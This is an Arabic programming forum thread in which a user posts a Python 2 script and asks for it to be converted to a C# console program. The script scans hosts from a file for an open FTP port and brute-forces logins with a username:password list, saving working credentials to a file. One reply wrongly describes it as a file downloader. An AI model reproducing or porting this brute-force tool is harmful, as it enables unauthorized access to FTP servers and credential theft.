تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
[C#.NET] عندي كود بايثون بدي اعملو تحويل
#1
السلام عليكم
كيفكم يا شباب
ممكن تساعدوني انا عندي كود بايثون بس اشغيل مشروع بعلق
انا اريد مشروع يكون C# علشان اقوه برمجة ما بعلق تحياتي الكم
بس مشروع يكون C# مثل صفحة دوس

رابط الكوود

كود :
import ftplib
import socket

print '\t\t\t ######################################'
print '\t\t\t ##                                  ##'
print '\t\t\t ##   Author : Sandeep Saini         ##'
print '\t\t\t ######################################'

def portScan(host) :
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   connect = s.connect_ex((host, 21))
   if (connect == 0) :
       print  "[+]\tPort 21: Open"
       bruteLogin(host,passwdFile)

   else :
       print "[-]\tPort 21: Close"
       s.close()

def bruteLogin(hostname,passwdFile):
   P = open(passwdFile, 'r')
   print "Now Trying Bruteforce attack.. Wait"
   for line in P.readlines():
       userName = line.split(':')[0]
       passWord = line.split(':')[1]
       print "[+] Trying :\t" + userName +"/" +passWord
       try :
           ftp = ftplib.FTP(hostname)
           if ftp.login(userName.strip('\n'),passWord.strip('\n')):
               print "\n[*]" + " " +str(hostname) + " : " + "FTP Logon succeeded with" + " : " +userName+ ":" +passWord
               f = open ('success.txt','a')
               f.write("\n[*]" + " " +str(hostname) + " : " + "FTP Logon succeeded with" + " : " +userName+ ":" +passWord)
               f.close()
               ftp.quit()
               break
       except Exception as e :
           print e
   else:
       print'\n[-] Could not Found'
host = raw_input('Enter the file name: ')
passwdFile = "UserAndPass.txt"
with open(host+'.txt','r') as rd :
   for h_ip in rd :
       portScan(h_ip.strip('\n'))
       print('Done')
[*]


الله يسعدكم تساعدوني
الرد
تم الشكر بواسطة:
#2
من الكود يتضح أنه يقوم بإنزال ملف من سيرفر ftp باستخدام sockets

في الدوت نت يوجد في المكتبة System.Net ما تحتاج
إقرأ عن FtpWebRequest ففيه ما تريد
الرد
تم الشكر بواسطة:
#3
(05-08-18, 06:38 PM)Finish كتب : من الكود يتضح أنه يقوم بإنزال ملف من سيرفر ftp باستخدام sockets

في الدوت نت يوجد في المكتبة System.Net ما تحتاج
إقرأ عن FtpWebRequest ففيه ما تريد

اخي انا ضعيف قي برمجة علشان هيك
طلب المساعده منكم
الله يخليكم يا رب يساعدوني
الرد
تم الشكر بواسطة:
#4
اشرح ما تريده بالتفصيل ليتم مساعدتك من الاعضاء
الرد
تم الشكر بواسطة:
#5
بس مشروع يكون C# مثل صفحة دوس
الكود بايثون
موجوده في الموضوع
بس تحويل الكود
الرد
تم الشكر بواسطة:


التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم